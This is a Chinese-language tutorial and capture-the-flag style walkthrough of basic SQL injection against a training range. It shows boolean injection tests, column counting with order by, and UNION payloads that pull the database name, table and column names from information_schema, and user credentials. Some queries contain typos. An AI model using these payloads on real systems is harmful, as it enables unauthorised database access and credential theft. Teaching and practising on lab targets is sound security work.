基本的SQL注入
SQL注入的原理
存在SQL注入漏洞需要满足两个条件
1.前端传给后端的参数内容是用户可以控制的。
2.传入的参数可以拼接成SQL语句,并且带入到数据库中进行查询。
攻击者往往利用这两个条件判断出是否存在SQL漏洞,并且通过构造语句,使数据库信息泄露。
是否存在SQL漏洞的判断语句
要知道,最终呈现到后端的是数据库中的代码,所以我们要了解数据库执行了哪些代码说明存在SQL漏洞
当外部传入的参数是1时,数据库执行了以下语句:
select * from users where id=1
当传入的参数是 and 1 = 1时,数据库执行了以下语句:
select * from users where id = 1 and 1=1
因为 1=1为真,则页面返回id=1时的结果,如果我们这时候传入参数and 1= 2,数据库执行以下语句:
select * from users where id = 1 and 1=2
因为1=2为假,所以页面返回的就是和id=1不同的结果。
此时就可以判断是否存在SQL漏洞了。
Union注入攻击
靶场:墨者学院mysql注入基本练习场
打开网页,找到用户名,密码栏下面的通知公告,点开页面,初步观察,可以看到url中可以尝试注入
首先判断有没有注入点(这里是练习靶场,肯定有,但是,在实战中,这一步必不可少)使用前文中的代码,我们在后面输入
and 1=1
查看页面返回情况,发现返回正常页面,再输入
and 1=2
看到返回页面变成了空白,说明存在SQL注入漏洞,可以开始攻击。
我们首先应该获得数据库的数据表的字段数量,所以使用order by 语句:
order by * ( * 为你猜测的字段数量)
我猜测的是5,但是显示的界面报错,那么就尝试一下4,界面没有报错,那么就说明该数据库的数据表的字段数量是4
使用Union攻击:
union select 1,2,3,4
根据页面显示的情况来看,原本的标题变成了2,原本的正文变成了3,说明2,3可以让服务端返回数据,那么就先选用2处进行注入操作
接下来我们需要获取他的数据库名称:
id=-1 union select 1,database(),3,4
页面返回了数据库名称mozhe_Discuz_StormGroup
获得了数据库名称,接下来获取表名
select table_name from information_schema.tables where table_schma='mozhe_Discuz_StormGroup' limit 0,1
这里需要说明,因为使用了limit 语法,所以,这条语句只能查询到第一个表的名称,类似这个靶场,第一个表中存放的是id,是一些对我们没有什么用处的数据,这里需要修改limit后面的第一个数字,改成1,那么显示的是第二个表的名称,以此类推,第一个表的名称为StormGroup_member
接下来我们获取StormGroup_member 表的第一个字段名:
select column_name from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='name' limit 0,1
这里的limit 和上文中提到的是一样的,不再阐述。这里建议获取的字段名至少3个,因为数据放在哪里都是有可能的。
到了查询数据的时候啦,使用如下代码:
select name from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
就获取了这个靶场中的用户名中的第一个用户名。
以此类推,我们查询到两个一模一样的用户名,两个不一样的密码,初步推测是md5加密,使用在线工具进行解密,就可以得到两个密码,尝试之后发现,第一个密码是错误的而第二个密码是正确的。
至此,union 攻击已经介绍完了,靶场的题目也已经解决啦!